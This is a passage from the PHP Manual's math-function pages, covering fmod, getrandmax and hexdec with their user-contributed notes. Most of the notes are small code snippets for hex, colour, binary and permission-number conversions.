
Only prime numbers work because the resulting permission number can only be devided evenly by 1, itself, and one of the prime numbers. So, a script can be written to look for the multiples of the permission number. Here is what I came up with;

function get_perm($auth) {

    /* initialize variables */
    $perm = array();
    $count = 0;

    for ($x = 1; $x <= $auth; $x++) {
        $result = $auth / $x;
        if (!ereg("[.]", $result)) { // is whole number
            $n = 0;
            for ($y = 1; $y <= $x; $y++) {
                $result = $x / $y;
                if (!ereg("[.]", $result)) { // is whole number
                    $n++;
                }
            }
            if ($n == 2) {
                $count++;
                $perm[$count] = $x;
            }
        }
    }
    return($perm);
}

The function starts by looking for multiples of $auth (the given authorization number [42]). Then it checks to see if that multiple is prime. If it is, the script inserts the value into array $perm.

When called, the function will return the array of permissions for the given authorization number. For example;

$auth = 42;

$perm = get_perm($auth);

$perm will now contain the numbers; 2, 3, 7 since 2*3*7=42. The values can be parsed by using a simple loop.

/* count number of permisions */
$count = count($perm);

/* print permisions */
while ($count > 0) {
    echo "$perm[$count]<br>";
    $count--;
}

If there is a more simple way to acheive the previous results, please feel free to comment (and e-mail me). I orignally thought PHP was able to do this simply by mod($auth). However, I was wrong.
jphansen at uga dot edu 10-Jan-2005 11:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
    $i = round($x / $y);
    return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de 27-May-2004 08:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net 16-Feb-2004 01:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
Jon 09-May-2003 01:25
for those w/o fmod, here is q lil' add-on function you can use to replicate it:

function fmodAddOn($x,$y)
{
        $i = floor($x/$y);

        // r = x - i * y
        return $x - $i*$y;
}
fjeanson at yahoo dot com 09-Mar-2003 08:16
For those of you still using PHP 4.1.X and below.. fmod is not available. You can easily check if a variable a multiple of 2 by doing the following which is compatible with 4.1.X and below:

$var; //variable to check if multiple of 2 or not

$stype = gettype($var/2); //returns the type of the result.
if($stype == "integer"){
    echo "$var is a multiple of two! Yay!";
} else {
    echo "$var is NOT a multiple of two! Yay, I guess!";
}

since 3/2 = 1.5 its a float..
4/2 = 2 its an integer..

$stype will be equal to "double" if the variable is a float.. for historical reasons.

voila.
picaune at hotmail dot com 09-Mar-2003 03:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.
floor
getrandmax
Math Functions


Show largest possible random value

fmod
hexdec
Math Functions
PHP Manual

getrandmax

(PHP 4, PHP 5)

getrandmax — Show largest possible random value

Description

int getrandmax ( void )

Returns the maximum value that can be returned by a call to rand().

Return Values

The largest possible random value returned by rand()

See Also

  • rand() - Generate a random integer
  • srand() - Seed the random number generator
  • mt_getrandmax() - Show largest possible random value

User Contributed Notes

There are no user contributed notes for this page.
fmod
hexdec
Math Functions


Hexadecimal to decimal

getrandmax
hypot
Math Functions
PHP Manual

hexdec

(PHP 4, PHP 5)

hexdec — Hexadecimal to decimal

Description

number hexdec ( string $hex_string )

Returns the decimal equivalent of the hexadecimal number represented by the hex_string argument. hexdec() converts a hexadecimal string to a decimal number.

hexdec() will ignore any non-hexadecimal characters it encounters.

Parameters

hex_string

The hexadecimal string to convert

Return Values

The decimal representation of hex_string

Changelog

Version | Description
Since 4.1.0 | The function can now convert values that are too big for the platforms integer type, it will return the value as float instead in that case.

Examples

Example #1 hexdec() example

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// both print "int(238)"

var_dump(hexdec("that")); // print "int(10)"
var_dump(hexdec("a0")); // print "int(160)"
?>

See Also

  • dechex() - Decimal to hexadecimal
  • bindec() - Binary to decimal
  • octdec() - Octal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

programacion at mundosica dot com 06-Dec-2011 09:50
Here is other function to transform a MAC Address to decimal:

<?php
function get_mac_decimal($mac) {
    $clear_mac = preg_replace('/[^0-9A-F]/i','',$mac);
    $mac_decimal = array();
    for ($i = 0; $i < strlen($clear_mac); $i += 2 ):
        $mac_decimal[] = hexdec(substr($clear_mac, $i, 2));
    endfor;
    return implode('.',$mac_decimal);
}
?>
luisfc at setic dot ufsc dot br 08-Apr-2011 01:51
Here is a function to transform a MAC Address to decimal.

<?php
function get_mac_decimal($mac) {
    $invalid = array(":", "-", ";", ".", " ");
    $clear_mac = str_replace($invalid, "", $mac);
    $mac_decimal = "";

    for ($i = 0; $i < strlen($clear_mac); $i = $i + 2) {
        $mac_decimal .= hexdec(substr($clear_mac, $i, 2));
        if ($i < strlen($clear_mac) - 2) {
            $mac_decimal .= ".";
        }
    }
    return $mac_decimal;
}
?>
andy at haveland dot com 24-Oct-2010 10:55
Here's a short example to convert strings between hex and chars:

<?php
print hextostr("616E647940686176656C616E642E636F6D")."\n";

print strtohex("Knowledge is power")."\n";

function hextostr($x) {
  $s='';
  foreach(explode("\n",trim(chunk_split($x,2))) as $h) $s.=chr(hexdec($h));
  return($s);
}

function strtohex($x) {
  $s='';
  foreach(str_split($x) as $c) $s.=sprintf("%02X",ord($c));
  return($s);
}
?>
hafees at msn dot com 19-Aug-2010 03:31
Use this function to convert a hexa decimal color code to its RGB equivalent. Unlike many other functions provided here, it will work correctly with hex color short hand notation.

Also, if a proper hexa decimal color value is given (6 digits), it uses bit wise operations for faster results.

For eg: #FFF and #FFFFFF will produce the same result

<?php
/**
 * Convert a hexa decimal color code to its RGB equivalent
 *
 * @param string $hexStr (hexadecimal color value)
 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
 */
function hex2RGB($hexStr, $returnAsString = false, $seperator = ',') {
    $hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
    $rgbArray = array();
    if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
        $colorVal = hexdec($hexStr);
        $rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
        $rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
        $rgbArray['blue'] = 0xFF & $colorVal;
    } elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
        $rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
        $rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
        $rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
    } else {
        return false; //Invalid hex color code
    }
    return $returnAsString ? implode($seperator, $rgbArray) : $rgbArray; // returns the rgb string or the associative array
} ?>

OUTPUT:

hex2RGB("#FF0") -> array( red =>255, green => 255, blue => 0)
hex2RGB("#FFFF00) -> Same as above
hex2RGB("#FF0", true) -> 255,255,0
hex2RGB("#FF0", true, ":") -> 255:255:0
Rosberg - rosberglinhares at gmail dot com 06-May-2010 08:45
The correct version is:

function bchexdec($hex) {
    static $hexdec = array(
        "0" => 0,
        "1" => 1,
        "2" => 2,
        "3" => 3,
        "4" => 4,
        "5" => 5,
        "6" => 6,
        "7" => 7,
        "8" => 8,
        "9" => 9,
        "A" => 10,
        "B" => 11,
        "C" => 12,
        "D" => 13,
        "E" => 14,
        "F" => 15
    );

    $dec = 0;

    for ($i = strlen($hex) - 1, $e = 1; $i >= 0; $i--, $e = bcmul($e, 16)) {
        $factor = $hexdec[$hex[$i]];
        $dec = bcadd($dec, bcmul($factor, $e));
    }

    return $dec;
}
flurinj at gmx dot net 06-Apr-2010 07:13
Here My version of converting a hex string to a signed decimal value:

<?php

function hexdecs($hex)
{
    // ignore non hex characters
    $hex = preg_replace('/[^0-9A-Fa-f]/', '', $hex);

    // converted decimal value:
    $dec = hexdec($hex);

    // maximum decimal value based on length of hex + 1:
    //   number of bits in hex number is 8 bits for each 2 hex -> max = 2^n
    //   use 'pow(2,n)' since '1 << n' is only for integers and therefore limited to integer size.
    $max = pow(2, 4 * (strlen($hex) + (strlen($hex) % 2)));

    // complement = maximum - converted hex:
    $_dec = $max - $dec;

    // if dec value is larger than its complement we have a negative value (first bit is set)
    return $dec > $_dec ? -$_dec : $dec;
}

?>
Halit YEL - halityesil at globya dot net 02-Oct-2009 01:30
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
   if(!$c) return false;
   $c = trim($c);
   $out = false;
  if(preg_match("/^[0-9ABCDEFabcdef\#]+$/i", $c)){
      $c = str_replace('#','', $c);
      $l = strlen($c) == 3 ? 1 : (strlen($c) == 6 ? 2 : false);

      if($l){
         unset($out);
         $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1*$l));
         $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1*$l,1*$l));
         $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2*$l,1*$l));
      }else $out = false;

   }elseif (preg_match("/^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$/i", $c)){
      $spr = str_replace(array(',',' ','.'), ':', $c);
      $e = explode(":", $spr);
      if(count($e) != 3) return false;
         $out = '#';
         for($i = 0; $i<3; $i++)
            $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

         for($i = 0; $i<3; $i++)
            $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

         $out = strtoupper($out);
   }else $out = false;

   return $out;
}

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA

[EDIT BY danbrown AT php DOT net - Contains multiple bugfixes by (ajim1417 AT gmail DOT com) on 27-JAN-2010: Replaces typo in explode() and updates eregi() calls to preg_match().]
jose dot rob dot jr at gmail dot com 15-Aug-2009 08:13
I made these functions to pack up to 64 ID's into a mysql unsigned bigint.

ID's cannot repeat, must be <= bit's limit and > 0.

The functions uses php 32 bit's int as unsigned because we don't actually read the number, just the bits. Then 0xFFFFFFFF display -1 but the bit's are there (tested with linux 2.6 i686 and x86_64)

---

This is an other way to make hex to bin conversions:

<?php
function hexbin($hex, $padding = false)
{
    // Validation
    $hex = preg_replace('/^(0x|X)?/i', '', $hex);
    $hex = preg_replace('/[[:blank:]]/', '', $hex);
    if(empty($hex))
    {
        $hex = '0';
    }
    if(!preg_match('/^[0-9A-F]*$/i', $hex))
    {
        trigger_error('Argument is not a hex', E_USER_WARNING);
        return false;
    }

    // Conversion
    $bin = '';
    $hex = array_reverse(str_split($hex));
    foreach($hex as $n)
    {
        $n = hexdec($n);
        for($i = 1; $i <= 8; $i <<= 1)
        {
            $bin .= ($i & $n)? '1' : '0';
        }
        if($padding)
        {
            $bin .= ' ';
        }
    }
    return ltrim(strrev($bin));
}

// Tests
echo "<b>Debug:</b> <pre>";

// Randomly choosed padded number
var_dump(hexbin('00FF FF8F 7F3F FF1F', true));
// string(79) "0000 0000 1111 1111 1111 1111 1000 1111 0111 1111 0011 1111 1111 1111 0001 1111"

// Yellow RGB
var_dump(hexbin('0xF8F800'));
// string(24) "111110001111100000000000"

// Green RGB (padded)
var_dump(hexbin('0x008800', true));
//string(29) "0000 0000 1000 1000 0000 0000"

die("\n<br>debug");

?>

Have fun ;D
Ultimater at gmail dot com 19-Apr-2009 01:54
hexdec doesn't accept numbers following the period.
What if you have a number like c20.db18?
<?php
function floatinghexdec($str)
{
    list($intgr,$hex)=explode('.',$str,2);
    $intgr=ereg_replace("[^A-Fa-f0-9]", "", $intgr);
    $hex=ereg_replace("[^A-Fa-f0-9]", "", $hex);
    $answer=0;
    for($i=0;$i < strlen($hex); $i++)
    {
        $digit=hexdec(substr($hex,$i,1))/16;   // .f is 15/16 because in decimal .9 is 9/10
        $answer += $digit/pow(16,$i);
    }
return hexdec($intgr)+$answer;
}

echo floatinghexdec("ff.ff");//255.99609375
?>
chuckySTAR 15-Apr-2009 01:55
Here's my hexdec function for greater numbers using BC Math

<?php
function bchexdec($hex)
{
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++)
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));

    return $dec;
}

echo bchexdec('ffffffffffffffffffffffffffffffff') . "\n" . (pow(2, 128));
?>
eds at edsavenue dot com 27-Mar-2009 04:13
I tried the example by joquius at kakugo dot com, but it didn't work.  i changed it to the following, which did work.

<?php
$str = preg_replace_callback ("([a-zA-Z0-9]{2})", create_function ('$matches', 'return chr (hexdec ($matches[0]));'), $str);
?>
joquius at kakugo dot com 24-Sep-2008 06:12
Help a hex-stricken string get back to normal:

<?php
$str = preg_replace_callback ("/%([a-zA-Z0-9]{2})/", create_function ('$matches', 'return chr (hexdec ($matches[1]));'), $str);
?>
this1is4me at hotmail dot com 27-May-2008 02:46
In reply to Amit Yadav's post (hex to binary conversion):

function binfromdec($num)
{
  $primary = "bit";
  for ($i=1; $i<=16; $i++)
    ${$primary.$i} = 0;

  if ($num & 32768)   $bit16  = 1;
  if ($num & 16384)   $bit15  = 1;
  if ($num & 8192)    $bit14  = 1;
  if ($num & 4096)    $bit13  = 1;
  if ($num & 2048)    $bit12  = 1;
  if ($num & 1024)    $bit11  = 1;
  if ($num & 512)     $bit10  = 1;
  if ($num & 256)     $bit9   = 1;
  if ($num & 128)     $bit8   = 1;
  if ($num & 64)      $bit7   = 1;
  if ($num & 32)      $bit6   = 1;
  if ($num & 16)      $bit5   = 1;
  if ($num & 8)       $bit4   = 1;
  if ($num & 4)       $bit3   = 1;
  if ($num & 2)       $bit2   = 1;
  if ($num & 1)       $bit1   = 1;

  return ($bit16. $bit15. $bit14. $bit13. $bit12. $bit11. $bit10. $bit9. $bit8. $bit7. $bit6. $bit5. $bit4. $bit3. $bit2. $bit1);
}
Walter Wlodarski 31-Jan-2008 01:33
One of my favourite, multi-purpose, bidirectional solution I wrote many years ago:

function bgr2rgb($cr) {  // bidirectional
    return (($cr & 0x0000FF) << 16 | ($cr & 0x00FF00) | ($cr & 0xFF0000) >> 16);
}

Which you might want to use as :

function hex2cr($hex) {  // strips any leading characters, like #
    return bgr2rgb(hexdec($hex));
}

function cr2hex($cr) { // the usual HTML format, #rrggbb
    return '#'.str_pad(strtoupper(dechex(bgr2rgb($cr))), 6, '0', STR_PAD_LEFT);
}

And, if like me you tend to mistype function names, the synonym :

function rgb2bgr($val) { return bgr2rgb($val); }
maddddidley at yahoo dot com 27-Jan-2008 12:17
Function that combines two rgb colors.

function combineColors($color1, $color2) {

        $color1 = str_replace("#", '', $color1);
        $color2 = str_replace("#", '', $color2);

        $r1 = hexdec(substr($color1, 0, 2));
        $g1 = hexdec(substr($color1, 2, 2));
        $b1 = hexdec(substr($color1, 4, 2));

        $r2 = hexdec(substr($color2, 0, 2));
        $g2 = hexdec(substr($color2, 2, 2));
        $b2 = hexdec(substr($color2, 4, 2));

        $r3 = ceil(($r1 + $r2) / 2);
        $g3 = ceil(($g1 + $g2) / 2);
        $b3 = ceil(($b1 + $b2) / 2);

        $color = rgbhex($r3, $g3, $b3);
        return $color = str_replace("#", '', $color);

    }
Anonymous 13-Nov-2007 08:34
// Função GET Cor Hexadecima e Retorna em RGB
function hexrgb($hexstr, $rgb) {
 $int = hexdec($hexstr);
 switch($rgb) {
        case "r":
        return 0xFF & $int >> 0x10;
            break;
        case "g":
        return 0xFF & ($int >> 0x8);
            break;
        case "b":
        return 0xFF & $int;
            break;
        default:
        return array(
            "r" => 0xFF & $int >> 0x10,
            "g" => 0xFF & ($int >> 0x8),
            "b" => 0xFF & $int
            );
            break;
    }
}// END GET Cor Hex => RGB

//Uso
 echo hexrgb("1a2b3c", r); // 26
 echo hexrgb("1a2b3c", g); // 43
 echo hexrgb("1a2b3c", b); // 60
//ou

var_dump(hexrgb("1a2b3c", rgb)); //array(3) { ["r"]=>  int(26) ["g"]=>  int(43) ["b"]=>  int(60) }
k10206 at naver dot com 27-Oct-2007 09:42
<?
function hexrgb($hexstr) {
    $int = hexdec($hexstr);

    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
?>
venk 16-Jun-2007 03:27
Reply To Halit Yesil's script:

Great Function!! But, there's a problem with your script if the user passes something with three letters/numbers (eg/ #000).  You need to use str_repeat to duplicate each character.

                if($l == 3){
                    unset($out);
                    $out[0] = $out['r'] = $out['red'] = hexdec(str_repeat(substr($c, 0,1),2));
                    $out[1] = $out['g'] = $out['green'] = hexdec(str_repeat(substr($c, 1,1),2));
                    $out[2] = $out['b'] = $out['blue'] = hexdec(str_repeat(substr($c, 2,1),2));
                }
Manithu 23-Mar-2007 04:23
This tiny function will return foreground colors (either black or white) in contrast to the color you provide:

<?php

function getContrastColor($color)
{
    return (hexdec($color) > 0xffffff/2) ? '000000' : 'ffffff';
}

?>

This function will return the opposite (negative):

<?php

function negativeColor($color)
{
    //get red, green and blue
    $r = substr($color, 0, 2);
    $g = substr($color, 2, 2);
    $b = substr($color, 4, 2);

    //revert them, they are decimal now
    $r = 0xff-hexdec($r);
    $g = 0xff-hexdec($g);
    $b = 0xff-hexdec($b);

    //now convert them to hex and return.
    return dechex($r).dechex($g).dechex($b);
}

?>
Halit Yesil mail at halityesil dot com 22-Mar-2007 05:46
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
            if(!$c) return false;
            $c = trim($c);
            $out = false;
            if(eregi("^[0-9ABCDEFabcdef\#]+$", $c)){
                $c = str_replace('#','', $c);
                $l = strlen($c);
                if($l == 3){
                    unset($out);
                    $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1));
                    $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1,1));
                    $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2,1));
                }elseif($l == 6){
                    unset($out);
                    $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,2));
                    $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 2,2));
                    $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 4,2));
                }else $out = false;

            }elseif (eregi("^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$", $c)){
                if(eregi(",", $c))
                    $e = explode(",",$c);
                else if(eregi(" ", $c))
                    $e = explode(" ",$c);
                else if(eregi(".", $c))
                    $e = explode(".",$c);
                else return false;

                if(count($e) != 3) return false;

                $out = '#';
                for($i = 0; $i<3; $i++)
                    $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

                for($i = 0; $i<3; $i++)
                    $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

                $out = strtoupper($out);
            }else $out = false;

            return $out;
        }

        echo '#FFFFFF => '.rgb2hex2rgb('#FFFFFF').'<br>';
        echo '#FFCCEE => '.rgb2hex2rgb('#FFCCEE').'<br>';
        echo 'CC22FF => '.rgb2hex2rgb('CC22FF').'<br>';
        echo '0 65 255 => '.rgb2hex2rgb('0 65 255').'<br>';
        echo '255.150.3 => '.rgb2hex2rgb('255.150.3').'<br>';
        echo '100,100,250 => '.rgb2hex2rgb('100,100,250').'<br>';

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA
cgarvis at gmail dot com 09-Oct-2006 10:39
Here is my version of hex2rgb for web colors to 24bit colors.

<?php
function hex2rgb_webcolors($hex) {
    $hex = eregi_replace("[^a-fA-F0-9]", "", $hex);
    switch( strlen($hex) ) {
        case 2:
            $hex = substr($hex,0,2)."0000";
            break;
        case 3:
            $hex = substr($hex,0,1).substr($hex,0,1)
            .substr($hex,1,1).substr($hex,1,1)
            .substr($hex,2,1).substr($hex,2,1);
            break;
        case 4:
            $hex = substr($hex,0,4)."00";
            break;
        case 6:
            break;
        default:
            $hex = 0;
            break;
    }
    return hexdec($hex);
}
?>
Lukasz (Zajonc) Zajaczkowski 18-Aug-2006 01:44
Function converting HEX to signed DEC

function hex2sdec ($hex)
{
  //how many bytes
  $ib = strlen ($hex) - (strlen ($hex) % $hex)) / $hex;
  if ((strlen ($hex) % 2) > 0)
    $ib = $ib + 1;

  //how many bites
  $ibb = 8 * $ib;

  //search for -1 value (max_uj)
  $buf = '1';
  for ($i = 1; $i <= $ibb - 1; $i++)
  {
    $buf .= '0';
  }
  $max_uj = bindec ($buf);

  //decide a sign, and calculate a value
  if (hexdec ($hex) < $max_uj)
  //+
  {
    $sdec = hexdec ($hex);
  }
  else
  //-
  {
    //search for max value + 1
    //(for ex. if hex = 23ef then max_p1 = ffff + 1)
    $buf = '';
    for ($i = 1; $i <= $ib; $i++)
    {
      $buf .= 'ff';
    }
    $max_p1 = hexdec ($buf) + 1;

    $sdec = hexdec ($hex) - $max_p1;
  }

  return $sdec;
}
repley at freemail dot it 28-May-2006 06:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
greatwhitepine at NOSPAM dot yahoo dot ca 30-Mar-2006 12:46
Hex to binary conversion that works for large and small hex numbers.

<?php

function hexbin($str_hex) {
  $str_bin = FALSE;
  for ($i=0; $i < strlen($str_hex); $i++) {
    $str_bin .= sprintf("%04s", decbin(hexdec($str_hex[$i])));
  }
  return $str_bin;
}

$str_hex = "effffff20df";

print "\n           HEX VALUE: $str_hex\n";
printf("   REAL BINARY VALUE: %50s\n", hexbin($str_hex));
printf("CHOPPED BINARY VALUE: %50s\n\n", decbin(hexdec($str_hex)));

?>
ayadav at infoprocorp dot com 28-Dec-2005 12:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
    if ($num > 32766)    return ("Too Large!");
    if ($num & 16384)    $bit15 = 1;
    if ($num & 8192)    $bit14 = 1;
    if ($num & 4096)    $bit13 = 1;
    if ($num & 2048)    $bit12 = 1;
    if ($num & 1024)    $bit11 = 1;
    if ($num & 512)        $bit10 = 1;
    if ($num & 256)        $bit9 = 1;
    if ($num & 128)        $bit8 = 1;
    if ($num & 64)        $bit7 = 1;
    if ($num & 32)        $bit6 = 1;
    if ($num & 16)        $bit5 = 1;
    if ($num & 8)        $bit4 = 1;
    if ($num & 4)        $bit3 = 1;
    if ($num & 2)        $bit2 = 1;
    if ($num & 1)        $bit1 = 1;

    return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com 28-Oct-2005 01:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
hajamie@home 24-Oct-2005 07:38
This function will take a hex $color, e.g. fa34bc and make it the shade you want, e.g. anywhere between 0 and 255. The smaller the number, the darker the output color.  It keeps the color the same, only changing the shade.

function correctshade($color, $shade)
{
$r = hexdec(substr($color,0,2));
$g = hexdec(substr($color,2,2));
$b = hexdec(substr($color,4,2));
$sum = ($r + $g + $b);
$x = (($shade * 3) - $sum) / $sum;
if ($x >= 0) {
$x = $x + 1;
} else {
$x = 1 + $x;
}
$r = intval($x * $r);
$g = intval($x * $g);
$b = intval($x * $b);
$r = dechex($r);
$g = dechex($g);
$b = dechex($b);
return $r.$g.$b;
}
08-Oct-2005 10:53
I needed to get the opposite colors so my website would be soft on the eyes.

<?php
function OppositeHex($color)
{
$r = dechex(255 - hexdec(substr($color,0,2)));
$r = (strlen($r) > 1) ? $r : '0'.$r;
$g = dechex(255 - hexdec(substr($color,2,2)));
$g = (strlen($g) > 1) ? $g : '0'.$g;
$b = dechex(255 - hexdec(substr($color,4,2)));
$b = (strlen($b) > 1) ? $b : '0'.$b;
return $r.$g.$b;
}

//Example
$color = '000000';
echo 'The opposite of #'.$color.' is #'.OppositeHex($color).';
?>
detrate at hotmail dot com 29-Sep-2005 06:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
    if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
    $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly 16-Aug-2005 11:24
After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
    function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
    }
?>
djneoform at gmail dot com 20-Jun-2005 09:51
since i couldn't find one, here's an HEX to ASCII converter..

(takes HEX strings (in ASCII) and converts each two digit HEX code into it's ASCII equivalent)

function hex2ascii($str)
{
    $p = '';
    for ($i=0; $i < strlen($str); $i=$i+2)
    {
        $p .= chr(hexdec(substr($str, $i, 2)));
    }
    return $p;
}
